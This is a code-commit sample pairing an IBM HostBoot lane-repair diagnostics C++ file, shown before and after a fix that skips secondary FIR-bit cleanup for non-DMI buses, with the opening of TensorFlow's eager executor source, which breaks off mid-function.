<commit_before>/* IBM_PROLOG_BEGIN_TAG                                                   */
/* This is an automatically generated prolog.                             */
/*                                                                        */
/* $Source: src/usr/diag/prdf/common/plat/pegasus/prdfLaneRepair.C $      */
/*                                                                        */
/* IBM CONFIDENTIAL                                                       */
/*                                                                        */
/* COPYRIGHT International Business Machines Corp. 2013                   */
/*                                                                        */
/* p1                                                                     */
/*                                                                        */
/* Object Code Only (OCO) source materials                                */
/* Licensed Internal Code Source Materials                                */
/* IBM HostBoot Licensed Internal Code                                    */
/*                                                                        */
/* The source code for this program is not published or otherwise         */
/* divested of its trade secrets, irrespective of what has been           */
/* deposited with the U.S. Copyright Office.                              */
/*                                                                        */
/* Origin: 30                                                             */
/*                                                                        */
/* IBM_PROLOG_END_TAG                                                     */

/** @file prdfLaneRepair.C */

#include <prdfLaneRepair.H>

// Framework includes
#include <prdfPlatServices.H>
#include <iipconst.h>
#include <prdfGlobal.H>
#include <iipSystem.h>
#include <iipServiceDataCollector.h>
#include <prdfExtensibleChip.H>
#include <UtilHash.H>

// Pegasus includes
#include <prdfCalloutUtil.H>
#include <prdfCenMembufDataBundle.H>
#include <prdfP8McsDataBundle.H>

using namespace TARGETING;

namespace PRDF
{
using namespace PlatServices;

namespace LaneRepair
{

int32_t handleLaneRepairEvent( ExtensibleChip * i_chip,
                               TYPE i_busType,
                               uint32_t i_busPos,
                               STEP_CODE_DATA_STRUCT & i_sc,
                               bool i_spareDeployed )
{
    #define PRDF_FUNC "[LaneRepair::handleLaneRepairEvent] "

    int32_t l_rc = SUCCESS;
    TargetHandle_t rxBusTgt = NULL;
    TargetHandle_t txBusTgt = NULL;
    bool thrExceeded = true;
    std::vector<uint8_t> rx_lanes;
    std::vector<uint8_t> rx_vpdLanes;
    std::vector<uint8_t> tx_vpdLanes;
    BitStringBuffer l_vpdLaneMap0to63(64);
    BitStringBuffer l_vpdLaneMap64to127(64);
    BitStringBuffer l_newLaneMap0to63(64);
    BitStringBuffer l_newLaneMap64to127(64);

    do
    {
        // Get RX bus target
        TYPE iChipType = getTargetType(i_chip->GetChipHandle());

        if (iChipType == TYPE_MEMBUF)
        {
            rxBusTgt = i_chip->GetChipHandle();
        }
        else if (iChipType == TYPE_PROC)
        {
            // i_chip is a Proc, Get connected XBUS, ABUS, or MCS target
            rxBusTgt = getConnectedChild( i_chip->GetChipHandle(),
                                          i_busType, i_busPos );
            if ( NULL == rxBusTgt )
            {
                PRDF_ERR( PRDF_FUNC"Could not find RX connected bus" );
                l_rc = FAIL; break;
            }
        }
        else
        {
            PRDF_ERR( PRDF_FUNC"i_chip is not of type MEMBUF or PROC" );
            l_rc = FAIL; break;
        }

        // Call io_read_erepair
        l_rc = readErepair(rxBusTgt, rx_lanes);
        if (SUCCESS != l_rc)
        {
            PRDF_ERR( PRDF_FUNC"readErepair() failed: rxBusTgt=0x%08x",
                      getHuid(rxBusTgt) );
            break;
        }

        // Add newly failed lanes to capture data
        for (std::vector<uint8_t>::iterator lane = rx_lanes.begin();
             lane != rx_lanes.end(); ++lane)
        {
            if (*lane < 64)
                l_newLaneMap0to63.Set(*lane);
            else if (*lane < 127)
                l_newLaneMap64to127.Set(*lane - 64);
            else
            {
                PRDF_ERR( PRDF_FUNC"Invalid lane number %d: rxBusTgt=0x%08x",
                          *lane, getHuid(rxBusTgt) );
                l_rc = FAIL; break;
            }
        }
        if ( SUCCESS != l_rc ) break;

        // Add failed lane capture data to errorlog
        i_sc.service_data->GetCaptureData().Add(i_chip->GetChipHandle(),
                                Util::hashString("NEW_FAILED_LANES_0TO63"),
                                l_newLaneMap0to63);
        i_sc.service_data->GetCaptureData().Add(i_chip->GetChipHandle(),
                                Util::hashString("NEW_FAILED_LANES_64TO127"),
                                l_newLaneMap64to127);

        if (!mfgMode()) // Don't read/write VPD in mfg mode
        {
            // Read Failed Lanes from VPD
            l_rc = getVpdFailedLanes(rxBusTgt, rx_vpdLanes, tx_vpdLanes);
            if (SUCCESS != l_rc)
            {
                PRDF_ERR( PRDF_FUNC"getVpdFailedLanes() failed: "
                          "rxBusTgt=0x%08x", getHuid(rxBusTgt) );
                break;
            }

            // Add VPD lanes to capture data
            for (std::vector<uint8_t>::iterator lane = rx_vpdLanes.begin();
                 lane != rx_vpdLanes.end(); ++lane)
            {
                if (*lane < 64)
                    l_vpdLaneMap0to63.Set(*lane);
                else if (*lane < 127)
                    l_vpdLaneMap64to127.Set(*lane - 64);
                else
                {
                    PRDF_ERR( PRDF_FUNC"Invalid VPD lane number %d: "
                              "rxBusTgt=0x%08x", *lane, getHuid(rxBusTgt) );
                    l_rc = FAIL; break;
                }
            }
            if ( SUCCESS != l_rc ) break;

            // Add failed lane capture data to errorlog
            i_sc.service_data->GetCaptureData().Add(i_chip->GetChipHandle(),
                                Util::hashString("VPD_FAILED_LANES_0TO63"),
                                l_vpdLaneMap0to63);
            i_sc.service_data->GetCaptureData().Add(i_chip->GetChipHandle(),
                                Util::hashString("VPD_FAILED_LANES_64TO127"),
                                l_vpdLaneMap64to127);

            if (i_spareDeployed)
            {
                // Get TX bus target
                if (i_busType == TYPE_XBUS || i_busType == TYPE_ABUS)
                {
                    txBusTgt = getConnectedPeerTarget(rxBusTgt);
                }
                else if (i_busType == TYPE_MEMBUF)
                {
                    txBusTgt = getConnectedParent(rxBusTgt, TYPE_MCS);
                }
                else if (i_busType == TYPE_MCS)
                {
                    txBusTgt = getConnectedChild(rxBusTgt, TYPE_MEMBUF, 0);
                }

                if ( NULL == txBusTgt )
                {
                    PRDF_ERR( PRDF_FUNC"Could not find TX connected bus: "
                              "rxBusTgt: 0x%08x", getHuid(rxBusTgt) );
                    l_rc = FAIL; break;
                }

                // Call Erepair to update VPD
                l_rc = setVpdFailedLanes(rxBusTgt, txBusTgt,
                                         rx_lanes, thrExceeded);
                if (SUCCESS != l_rc)
                {
                    PRDF_ERR( PRDF_FUNC"setVpdFailedLanes() failed: "
                              "rxBusTgt=0x%08x txBusTgt=0x%08x",
                              getHuid(rxBusTgt), getHuid(txBusTgt) );
                    break;
                }
            }
        }

        if (i_spareDeployed && !thrExceeded)
        {
            // Update lists of lanes from VPD
            rx_vpdLanes.clear(); tx_vpdLanes.clear();
            l_rc = getVpdFailedLanes(rxBusTgt, rx_vpdLanes, tx_vpdLanes);
            if (SUCCESS != l_rc)
            {
                PRDF_ERR( PRDF_FUNC"getVpdFailedLanes() before power down "
                          "failed: rxBusTgt=0x%08x", getHuid(rxBusTgt) );
                break;
            }

            // Power down all lanes that have been saved in VPD
            l_rc = powerDownLanes(rxBusTgt, rx_vpdLanes, tx_vpdLanes);
            if (SUCCESS != l_rc)
            {
                PRDF_ERR( PRDF_FUNC"powerDownLanes() failed: rxBusTgt=0x%08x",
                          getHuid(rxBusTgt) );
                break;
            }
        }
        else
        {
            // Make predictive
            i_sc.service_data->SetServiceCall();
        }

    } while (0);

    // Clear FIRs
    if (rxBusTgt)
    {
        l_rc |= erepairFirIsolation(rxBusTgt);
        l_rc |= clearIOFirs(rxBusTgt);
    }

    if ( i_spareDeployed )
    {
        l_rc |= cleanupSecondaryFirBits( i_chip, i_busType, i_busPos );
    }

    // This return code gets returned by the plugin code back to the rule code.
    // So, we do not want to give a return code that the rule code does not
    // understand. So far, there is no need return a special code, so always
    // return SUCCESS.
    if ( SUCCESS != l_rc )
    {
        PRDF_ERR( PRDF_FUNC"i_chip: 0x%08x i_busType:%d i_busPos:%d",
                  i_chip->GetId(), i_busType, i_busPos );

        CalloutUtil::defaultError( i_sc );
    }

    return SUCCESS;

    #undef PRDF_FUNC
}

//-----------------------------------------------------------------------------

bool isSpareBitOnDMIBus( ExtensibleChip * i_mcsChip, ExtensibleChip * i_mbChip )
{
    bool bitOn = false;

    do
    {
        // If any of these object is NULL, spare bit should not be on.
        if ( ( NULL == i_mcsChip ) || ( NULL == i_mbChip ))
            break;

        // check spare deployed bit on Centaur side
        SCAN_COMM_REGISTER_CLASS * dmiFir = i_mbChip->getRegister( "DMIFIR" );
        int32_t rc = dmiFir->Read();
        if ( SUCCESS != rc )
        {
            PRDF_ERR("isSpareBitOnDMIBus() : Failed to read DMIFIR."
                      "MEMBUF: 0x%08X", getHuid( i_mbChip->GetChipHandle()) );
            break;
        }
        if ( dmiFir->IsBitSet( 9 ))
        {
            bitOn = true;
            break;
        }

        // check spare deployed bit on Proc side
        TargetHandle_t mcsTgt = i_mcsChip->GetChipHandle();
        TargetHandle_t procTgt = getConnectedParent( mcsTgt, TYPE_PROC );
        ExtensibleChip * procChip =
                        ( ExtensibleChip * )systemPtr->GetChip( procTgt );

        uint32_t mcsPos = getTargetPosition( mcsTgt );

        const char * regStr = ( 4 > mcsPos) ? "IOMCFIR_0" : "IOMCFIR_1";
        SCAN_COMM_REGISTER_CLASS * iomcFir = procChip->getRegister( regStr );
        rc = iomcFir->Read();
        if ( SUCCESS != rc )
        {
            PRDF_ERR("isSpareBitOnDMIBus() : Failed to read %s."
                      "MCS: 0x%08X", regStr, getHuid(mcsTgt) );
            break;
        }
        // Bit 9, 17, 25 and 33 are for spare deployed.
        // Check bit corrosponding to MCS position
        uint8_t bitPos = 9 + ( mcsPos % 4 ) *8;
        if ( iomcFir->IsBitSet(bitPos))
        {
            bitOn = true;
        }

    }while(0);

    return bitOn;
}

//-----------------------------------------------------------------------------

int32_t cleanupSecondaryFirBits( ExtensibleChip * i_chip,
                       TYPE i_busType,
                       uint32_t i_busPos )
{
    int32_t l_rc = SUCCESS;
    TargetHandle_t mcsTgt = NULL;
    TargetHandle_t mbTgt = NULL;
    ExtensibleChip * mcsChip = NULL;
    ExtensibleChip * mbChip = NULL;

    //In case of spare deployed attention for DMI bus, we need to clear
    // secondary MBIFIR[10] and MCIFIR[10] bits.
    do
    {
        if ( i_busType == TYPE_MCS )
        {
            mcsTgt = getConnectedChild( i_chip->GetChipHandle(),
                                        TYPE_MCS,
                                        i_busPos);
            if (!mcsTgt) break;
            mcsChip = ( ExtensibleChip * )systemPtr->GetChip( mcsTgt );
            if (!mcsChip) break;
            mbChip =  getMcsDataBundle( mcsChip )->getMembChip();
            if (!mbChip) break;
            mbTgt =   mbChip->GetChipHandle();
            if (!mbTgt) break;
        }
        else if ( i_busType == TYPE_MEMBUF )
        {
            mbTgt = i_chip->GetChipHandle();
            if (!mbTgt) break;
            mcsChip = getMembufDataBundle( i_chip )->getMcsChip();
            if (!mcsChip) break;
            mcsTgt  = mcsChip->GetChipHandle();
            if (!mcsTgt) break;
            mbChip = i_chip;
        }

        SCAN_COMM_REGISTER_CLASS * mciFir =
          mcsChip->getRegister( "MCIFIR" );
        int32_t rc = mciFir->Read();
        if ( SUCCESS != rc )
        {
            PRDF_ERR("cleanupSecondaryFirBits() : Failed to read MCIFIR."
                     "MCS: 0x%08X", getHuid(mcsTgt) );
            l_rc |= rc;
        }
        else if ( mciFir->IsBitSet(10))
        {
            mciFir->ClearBit(10);
            l_rc |= mciFir->Write();
        }

        SCAN_COMM_REGISTER_CLASS * mbiFir =
          mbChip->getRegister( "MBIFIR" );
        rc = mbiFir->Read();
        if ( SUCCESS != rc )
        {
            PRDF_ERR("cleanupSecondaryFirBits() : Failed to read MBIFIR."
                     "MEMBUF: 0x%08X", getHuid(mbTgt) );
            l_rc |= rc;
        }
        else if ( mbiFir->IsBitSet(10))
        {
            mbiFir->ClearBit(10);
            l_rc |= mbiFir->Write();
        }
    } while (0);
    return l_rc;
}

} // end namespace LaneRepair
} // end namespace PRDF
<commit_msg>PRD: Check for non-DMI bus type before attempting to clear secondary FIR bits<commit_after>/* IBM_PROLOG_BEGIN_TAG                                                   */
/* This is an automatically generated prolog.                             */
/*                                                                        */
/* $Source: src/usr/diag/prdf/common/plat/pegasus/prdfLaneRepair.C $      */
/*                                                                        */
/* IBM CONFIDENTIAL                                                       */
/*                                                                        */
/* COPYRIGHT International Business Machines Corp. 2013                   */
/*                                                                        */
/* p1                                                                     */
/*                                                                        */
/* Object Code Only (OCO) source materials                                */
/* Licensed Internal Code Source Materials                                */
/* IBM HostBoot Licensed Internal Code                                    */
/*                                                                        */
/* The source code for this program is not published or otherwise         */
/* divested of its trade secrets, irrespective of what has been           */
/* deposited with the U.S. Copyright Office.                              */
/*                                                                        */
/* Origin: 30                                                             */
/*                                                                        */
/* IBM_PROLOG_END_TAG                                                     */

/** @file prdfLaneRepair.C */

#include <prdfLaneRepair.H>

// Framework includes
#include <prdfPlatServices.H>
#include <iipconst.h>
#include <prdfGlobal.H>
#include <iipSystem.h>
#include <iipServiceDataCollector.h>
#include <prdfExtensibleChip.H>
#include <UtilHash.H>

// Pegasus includes
#include <prdfCalloutUtil.H>
#include <prdfCenMembufDataBundle.H>
#include <prdfP8McsDataBundle.H>

using namespace TARGETING;

namespace PRDF
{
using namespace PlatServices;

namespace LaneRepair
{

int32_t handleLaneRepairEvent( ExtensibleChip * i_chip,
                               TYPE i_busType,
                               uint32_t i_busPos,
                               STEP_CODE_DATA_STRUCT & i_sc,
                               bool i_spareDeployed )
{
    #define PRDF_FUNC "[LaneRepair::handleLaneRepairEvent] "

    int32_t l_rc = SUCCESS;
    TargetHandle_t rxBusTgt = NULL;
    TargetHandle_t txBusTgt = NULL;
    bool thrExceeded = true;
    std::vector<uint8_t> rx_lanes;
    std::vector<uint8_t> rx_vpdLanes;
    std::vector<uint8_t> tx_vpdLanes;
    BitStringBuffer l_vpdLaneMap0to63(64);
    BitStringBuffer l_vpdLaneMap64to127(64);
    BitStringBuffer l_newLaneMap0to63(64);
    BitStringBuffer l_newLaneMap64to127(64);

    do
    {
        // Get RX bus target
        TYPE iChipType = getTargetType(i_chip->GetChipHandle());

        if (iChipType == TYPE_MEMBUF)
        {
            rxBusTgt = i_chip->GetChipHandle();
        }
        else if (iChipType == TYPE_PROC)
        {
            // i_chip is a Proc, Get connected XBUS, ABUS, or MCS target
            rxBusTgt = getConnectedChild( i_chip->GetChipHandle(),
                                          i_busType, i_busPos );
            if ( NULL == rxBusTgt )
            {
                PRDF_ERR( PRDF_FUNC"Could not find RX connected bus" );
                l_rc = FAIL; break;
            }
        }
        else
        {
            PRDF_ERR( PRDF_FUNC"i_chip is not of type MEMBUF or PROC" );
            l_rc = FAIL; break;
        }

        // Call io_read_erepair
        l_rc = readErepair(rxBusTgt, rx_lanes);
        if (SUCCESS != l_rc)
        {
            PRDF_ERR( PRDF_FUNC"readErepair() failed: rxBusTgt=0x%08x",
                      getHuid(rxBusTgt) );
            break;
        }

        // Add newly failed lanes to capture data
        for (std::vector<uint8_t>::iterator lane = rx_lanes.begin();
             lane != rx_lanes.end(); ++lane)
        {
            if (*lane < 64)
                l_newLaneMap0to63.Set(*lane);
            else if (*lane < 127)
                l_newLaneMap64to127.Set(*lane - 64);
            else
            {
                PRDF_ERR( PRDF_FUNC"Invalid lane number %d: rxBusTgt=0x%08x",
                          *lane, getHuid(rxBusTgt) );
                l_rc = FAIL; break;
            }
        }
        if ( SUCCESS != l_rc ) break;

        // Add failed lane capture data to errorlog
        i_sc.service_data->GetCaptureData().Add(i_chip->GetChipHandle(),
                                Util::hashString("NEW_FAILED_LANES_0TO63"),
                                l_newLaneMap0to63);
        i_sc.service_data->GetCaptureData().Add(i_chip->GetChipHandle(),
                                Util::hashString("NEW_FAILED_LANES_64TO127"),
                                l_newLaneMap64to127);

        if (!mfgMode()) // Don't read/write VPD in mfg mode
        {
            // Read Failed Lanes from VPD
            l_rc = getVpdFailedLanes(rxBusTgt, rx_vpdLanes, tx_vpdLanes);
            if (SUCCESS != l_rc)
            {
                PRDF_ERR( PRDF_FUNC"getVpdFailedLanes() failed: "
                          "rxBusTgt=0x%08x", getHuid(rxBusTgt) );
                break;
            }

            // Add VPD lanes to capture data
            for (std::vector<uint8_t>::iterator lane = rx_vpdLanes.begin();
                 lane != rx_vpdLanes.end(); ++lane)
            {
                if (*lane < 64)
                    l_vpdLaneMap0to63.Set(*lane);
                else if (*lane < 127)
                    l_vpdLaneMap64to127.Set(*lane - 64);
                else
                {
                    PRDF_ERR( PRDF_FUNC"Invalid VPD lane number %d: "
                              "rxBusTgt=0x%08x", *lane, getHuid(rxBusTgt) );
                    l_rc = FAIL; break;
                }
            }
            if ( SUCCESS != l_rc ) break;

            // Add failed lane capture data to errorlog
            i_sc.service_data->GetCaptureData().Add(i_chip->GetChipHandle(),
                                Util::hashString("VPD_FAILED_LANES_0TO63"),
                                l_vpdLaneMap0to63);
            i_sc.service_data->GetCaptureData().Add(i_chip->GetChipHandle(),
                                Util::hashString("VPD_FAILED_LANES_64TO127"),
                                l_vpdLaneMap64to127);

            if (i_spareDeployed)
            {
                // Get TX bus target
                if (i_busType == TYPE_XBUS || i_busType == TYPE_ABUS)
                {
                    txBusTgt = getConnectedPeerTarget(rxBusTgt);
                }
                else if (i_busType == TYPE_MEMBUF)
                {
                    txBusTgt = getConnectedParent(rxBusTgt, TYPE_MCS);
                }
                else if (i_busType == TYPE_MCS)
                {
                    txBusTgt = getConnectedChild(rxBusTgt, TYPE_MEMBUF, 0);
                }

                if ( NULL == txBusTgt )
                {
                    PRDF_ERR( PRDF_FUNC"Could not find TX connected bus: "
                              "rxBusTgt: 0x%08x", getHuid(rxBusTgt) );
                    l_rc = FAIL; break;
                }

                // Call Erepair to update VPD
                l_rc = setVpdFailedLanes(rxBusTgt, txBusTgt,
                                         rx_lanes, thrExceeded);
                if (SUCCESS != l_rc)
                {
                    PRDF_ERR( PRDF_FUNC"setVpdFailedLanes() failed: "
                              "rxBusTgt=0x%08x txBusTgt=0x%08x",
                              getHuid(rxBusTgt), getHuid(txBusTgt) );
                    break;
                }
            }
        }

        if (i_spareDeployed && !thrExceeded)
        {
            // Update lists of lanes from VPD
            rx_vpdLanes.clear(); tx_vpdLanes.clear();
            l_rc = getVpdFailedLanes(rxBusTgt, rx_vpdLanes, tx_vpdLanes);
            if (SUCCESS != l_rc)
            {
                PRDF_ERR( PRDF_FUNC"getVpdFailedLanes() before power down "
                          "failed: rxBusTgt=0x%08x", getHuid(rxBusTgt) );
                break;
            }

            // Power down all lanes that have been saved in VPD
            l_rc = powerDownLanes(rxBusTgt, rx_vpdLanes, tx_vpdLanes);
            if (SUCCESS != l_rc)
            {
                PRDF_ERR( PRDF_FUNC"powerDownLanes() failed: rxBusTgt=0x%08x",
                          getHuid(rxBusTgt) );
                break;
            }
        }
        else
        {
            // Make predictive
            i_sc.service_data->SetServiceCall();
        }

    } while (0);

    // Clear FIRs
    if (rxBusTgt)
    {
        l_rc |= erepairFirIsolation(rxBusTgt);
        l_rc |= clearIOFirs(rxBusTgt);
    }

    if ( i_spareDeployed )
    {
        l_rc |= cleanupSecondaryFirBits( i_chip, i_busType, i_busPos );
    }

    // This return code gets returned by the plugin code back to the rule code.
    // So, we do not want to give a return code that the rule code does not
    // understand. So far, there is no need return a special code, so always
    // return SUCCESS.
    if ( SUCCESS != l_rc )
    {
        PRDF_ERR( PRDF_FUNC"i_chip: 0x%08x i_busType:%d i_busPos:%d",
                  i_chip->GetId(), i_busType, i_busPos );

        CalloutUtil::defaultError( i_sc );
    }

    return SUCCESS;

    #undef PRDF_FUNC
}

//-----------------------------------------------------------------------------

bool isSpareBitOnDMIBus( ExtensibleChip * i_mcsChip, ExtensibleChip * i_mbChip )
{
    bool bitOn = false;

    do
    {
        // If any of these object is NULL, spare bit should not be on.
        if ( ( NULL == i_mcsChip ) || ( NULL == i_mbChip ))
            break;

        // check spare deployed bit on Centaur side
        SCAN_COMM_REGISTER_CLASS * dmiFir = i_mbChip->getRegister( "DMIFIR" );
        int32_t rc = dmiFir->Read();
        if ( SUCCESS != rc )
        {
            PRDF_ERR("isSpareBitOnDMIBus() : Failed to read DMIFIR."
                      "MEMBUF: 0x%08X", getHuid( i_mbChip->GetChipHandle()) );
            break;
        }
        if ( dmiFir->IsBitSet( 9 ))
        {
            bitOn = true;
            break;
        }

        // check spare deployed bit on Proc side
        TargetHandle_t mcsTgt = i_mcsChip->GetChipHandle();
        TargetHandle_t procTgt = getConnectedParent( mcsTgt, TYPE_PROC );
        ExtensibleChip * procChip =
                        ( ExtensibleChip * )systemPtr->GetChip( procTgt );

        uint32_t mcsPos = getTargetPosition( mcsTgt );

        const char * regStr = ( 4 > mcsPos) ? "IOMCFIR_0" : "IOMCFIR_1";
        SCAN_COMM_REGISTER_CLASS * iomcFir = procChip->getRegister( regStr );
        rc = iomcFir->Read();
        if ( SUCCESS != rc )
        {
            PRDF_ERR("isSpareBitOnDMIBus() : Failed to read %s."
                      "MCS: 0x%08X", regStr, getHuid(mcsTgt) );
            break;
        }
        // Bit 9, 17, 25 and 33 are for spare deployed.
        // Check bit corrosponding to MCS position
        uint8_t bitPos = 9 + ( mcsPos % 4 ) *8;
        if ( iomcFir->IsBitSet(bitPos))
        {
            bitOn = true;
        }

    }while(0);

    return bitOn;
}

//-----------------------------------------------------------------------------

int32_t cleanupSecondaryFirBits( ExtensibleChip * i_chip,
                       TYPE i_busType,
                       uint32_t i_busPos )
{
    int32_t l_rc = SUCCESS;
    TargetHandle_t mcsTgt = NULL;
    TargetHandle_t mbTgt = NULL;
    ExtensibleChip * mcsChip = NULL;
    ExtensibleChip * mbChip = NULL;

    //In case of spare deployed attention for DMI bus, we need to clear
    // secondary MBIFIR[10] and MCIFIR[10] bits.
    do
    {
        if ( i_busType == TYPE_MCS )
        {
            mcsTgt = getConnectedChild( i_chip->GetChipHandle(),
                                        TYPE_MCS,
                                        i_busPos);
            if (!mcsTgt) break;
            mcsChip = ( ExtensibleChip * )systemPtr->GetChip( mcsTgt );
            if (!mcsChip) break;
            mbChip =  getMcsDataBundle( mcsChip )->getMembChip();
            if (!mbChip) break;
            mbTgt =   mbChip->GetChipHandle();
            if (!mbTgt) break;
        }
        else if ( i_busType == TYPE_MEMBUF )
        {
            mbTgt = i_chip->GetChipHandle();
            if (!mbTgt) break;
            mcsChip = getMembufDataBundle( i_chip )->getMcsChip();
            if (!mcsChip) break;
            mcsTgt  = mcsChip->GetChipHandle();
            if (!mcsTgt) break;
            mbChip = i_chip;
        }
        else
        {
            // We only need to clean secondary FIR bits for DMI bus
            l_rc = SUCCESS;
            break;
        }

        SCAN_COMM_REGISTER_CLASS * mciFir =
          mcsChip->getRegister( "MCIFIR" );
        int32_t rc = mciFir->Read();
        if ( SUCCESS != rc )
        {
            PRDF_ERR("cleanupSecondaryFirBits() : Failed to read MCIFIR."
                     "MCS: 0x%08X", getHuid(mcsTgt) );
            l_rc |= rc;
        }
        else if ( mciFir->IsBitSet(10))
        {
            mciFir->ClearBit(10);
            l_rc |= mciFir->Write();
        }

        SCAN_COMM_REGISTER_CLASS * mbiFir =
          mbChip->getRegister( "MBIFIR" );
        rc = mbiFir->Read();
        if ( SUCCESS != rc )
        {
            PRDF_ERR("cleanupSecondaryFirBits() : Failed to read MBIFIR."
                     "MEMBUF: 0x%08X", getHuid(mbTgt) );
            l_rc |= rc;
        }
        else if ( mbiFir->IsBitSet(10))
        {
            mbiFir->ClearBit(10);
            l_rc |= mbiFir->Write();
        }
    } while (0);
    return l_rc;
}

} // end namespace LaneRepair
} // end namespace PRDF
<|endoftext|>


<commit_before>/* Copyright 2018 The TensorFlow Authors. All Rights Reserved.

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/

#include "tensorflow/core/common_runtime/eager/eager_executor.h"

#include "tensorflow/core/lib/core/errors.h"
#include "tensorflow/core/lib/gtl/cleanup.h"

namespace tensorflow {

EagerExecutor::EagerExecutor(bool async)
    : thread_(async ? tensorflow::Env::Default()->StartThread(
                          tensorflow::ThreadOptions(), "eager_async_executor",
                          std::bind(&EagerExecutor::Run, this))
                    : nullptr) {}

EagerExecutor::~EagerExecutor() {
  tensorflow::mutex_lock l(node_queue_mutex_);
  state_ = ExecutorState::kShutDown;
  nodes_pending_.notify_all();
}

Status EagerExecutor::ShutDown() {
  {
    std::vector<std::unique_ptr<EagerNode>> nodes_to_destroy;
    bool has_thread;
    Status status;
    {
      tensorflow::mutex_lock l(node_queue_mutex_);
      if (state_ != ExecutorState::kShutDown) {
        // if the state is kShutDown, we don't return here because we want to
        // make sure the executor thread has ended (if there is one).
        // So, we fall through to
        // thread_exited_notification_.WaitForNotification() below.
        state_ = ExecutorState::kShuttingDown;
      }
      WaitForOrDestroyAllPendingNodes(&l, &nodes_to_destroy);
      state_ = ExecutorState::kShutDown;
      has_thread = thread_ != nullptr;
      status = status_;
      if (has_thread) {
        nodes_pending_.notify_all();
      }
    }
    for (auto& node : nodes_to_destroy) {
      node->Abort(status);
    }
    if (!has_thread) {
      return status;
    }
  }

  thread_exited_notification_.WaitForNotification();
  tensorflow::mutex_lock l(node_queue_mutex_);
  return status_;
}

void EagerExecutor::WaitForOrDestroyAllPendingNodes(
    mutex_lock* lock,
    std::vector<std::unique_ptr<EagerNode>>* nodes_to_destroy) {
  if (state_ == ExecutorState::kShutDown) {
    return;
  }
  if (thread_ == nullptr) {
    Status status = status_;
    if (status.ok()) {
      status = errors::FailedPrecondition(
          "Aborting eager nodes because EagerExecutor is being shut down "
          "before it got a thread to run the nodes");
      status_ = status;
    }
    while (!node_queue_.empty()) {
      nodes_to_destroy->push_back(std::move(node_queue_.front()));
      node_queue_.pop();
    }
    for (auto& it : unfinished_nodes_) {
      nodes_to_destroy->push_back(absl::WrapUnique(it));
    }
    unfinished_nodes_.clear();
    return;
  }

  // It is OK to ignore the returned status here because it will be saved
  // as the final status_.
  WaitForAllPendingNodesLocked(lock).IgnoreError();
}

bool EagerExecutor::Async() const {
  return thread_ != nullptr;
}

const char* EagerExecutor::StateStringLocked() {
  switch (state_) {
    case ExecutorState::kActive:
      return "Active";
    case ExecutorState::kShuttingDown:
      return "ShuttingDown";
    case ExecutorState::kShutDown:
      return "ShutDown";
  }
}

Status EagerExecutor::Add(std::unique_ptr<EagerNode> node) {
  Status status;

  // If we are unable to add the node to the queue, we must call Abort. However,
  // we want to do that outside of the scope of the lock since the Abort may
  // try to call EagerExecutor::Add()
  {
    tensorflow::mutex_lock l(node_queue_mutex_);
    if (state_ != ExecutorState::kActive) {
      status = errors::FailedPrecondition(
          "EagerExecutor accepts new EagerNodes to run only in Active state. "
          "Current state is '",
          StateStringLocked(), "'");
    } else {
      DCHECK(thread_) << "EnableAsync should have been called before Add";
      status = status_;
      if (status.ok()) {
        node_queue_.push(std::move(node));

        // If there were no previous nodes pending, wake the run thread to start
        // processing requests again.
        if (node_queue_.size() == 1) {
          nodes_pending_.notify_all();
        }

        return Status::OK();
      }
    }
  }

  // Node needs to be aborted since it was not added to the queue
  node->Abort(status);
  return status;
}

tensorflow::Status EagerExecutor::WaitForAllPendingNodes() {
  tensorflow::mutex_lock l(node_queue_mutex_);
  return WaitForAllPendingNodesLocked(&l);
}

tensorflow::Status EagerExecutor::WaitForAllPendingNodesLocked(
    mutex_lock* lock) {
  tensorflow::condition_variable cond;
  // Don't wait if an error is already set.
  if (!status_.ok()) return status_;
  if (node_queue_.empty()) return tensorflow::Status::OK();
  EagerNode* last_node = node_queue_.back().get();
  node_done_notifications_.insert(std::make_pair(last_node, &cond));
  cond.wait(*lock);
  // Note that we could be woken up if an error occurs, even though the node has
  // not actually executed.
  return status_;
}

void EagerExecutor::ClearError() {
  tensorflow::mutex_lock l(node_queue_mutex_);
  // TODO(iga): Check state_ and return an error if it is not kActive.
  if (status_.ok()) return;
  // If an error was set, node_done_notifications_ and node_queue_ should have
  // been cleared, and no new entries should have been added since.
  DCHECK(node_done_notifications_.empty());
  DCHECK(node_queue_.empty());
  status_ = tensorflow::Status::OK();
  nodes_pending_.notify_all();
}

tensorflow::Status EagerExecutor::status() const {
  tf_shared_lock l(node_queue_mutex_);
  return status_;
}

void EagerExecutor::NodeDone(EagerNode* node, const Status& status) {
  VLOG(3) << "Node Done: " << node->DebugString();
  std::unique_ptr<EagerNode> current_node;
  std::vector<std::unique_ptr<EagerNode>> nodes_to_destroy;
  {
    mutex_lock l(node_queue_mutex_);
    if (!status_.ok()) return;
    if (node == node_queue_.front().get()) {
      current_node = std::move(node_queue_.front());
      node_queue_.pop();
    } else {
      DCHECK_GT(unfinished_nodes_.erase(node), 0);
      current_node = absl::WrapUnique(node);
    }
    if (!status.ok()) {
      status_ = status;
      // We remove any pending ops so that we don't try to execute them if
      // ClearError is called.
      errors::AppendToMessage(&status_,
                              ". Encountered when executing an operation using "
                              "EagerExecutor. This error cancels all future "
                              "operations and poisons their output tensors.");
      while (!node_queue_.empty()) {
        nodes_to_destroy.push_back(std::move(node_queue_.front()));
        node_queue_.pop();
      }
      for (auto& it : unfinished_nodes_) {
        nodes_to_destroy.push_back(absl::WrapUnique(it));
      }
      unfinished_nodes_.clear();
    }
    if (!node_done_notifications_.empty()) {
      // Note that we notify all waiting threads in case an error has
      // occurred. These calling threads are responsible for checking status_
      // before proceeding.
      const auto range = status_.ok()
                             ? node_done_notifications_.equal_range(node)
                             : make_pair(node_done_notifications_.begin(),
                                         node_done_notifications_.end());
      for (auto it = range.first; it != range.second; ++it) {
        it->second->notify_all();
      }
      node_done_notifications_.erase(range.first, range.second);
    }
  }
  for (auto& node : nodes_to_destroy) {
    node->Abort(status);
  }
  // nodes_to_destroy will be destructed here, while not holding
  // node_queue_mutex_. This is important because, unfortunately, some nodes'
  // destructors can enqueue more operations onto this executor and cause
  // a deadlock.
}

void EagerExecutor::Run() {
  auto thread_exited_notifier =
      gtl::MakeCleanup([this] { thread_exited_notification_.Notify(); });
  while (true) {
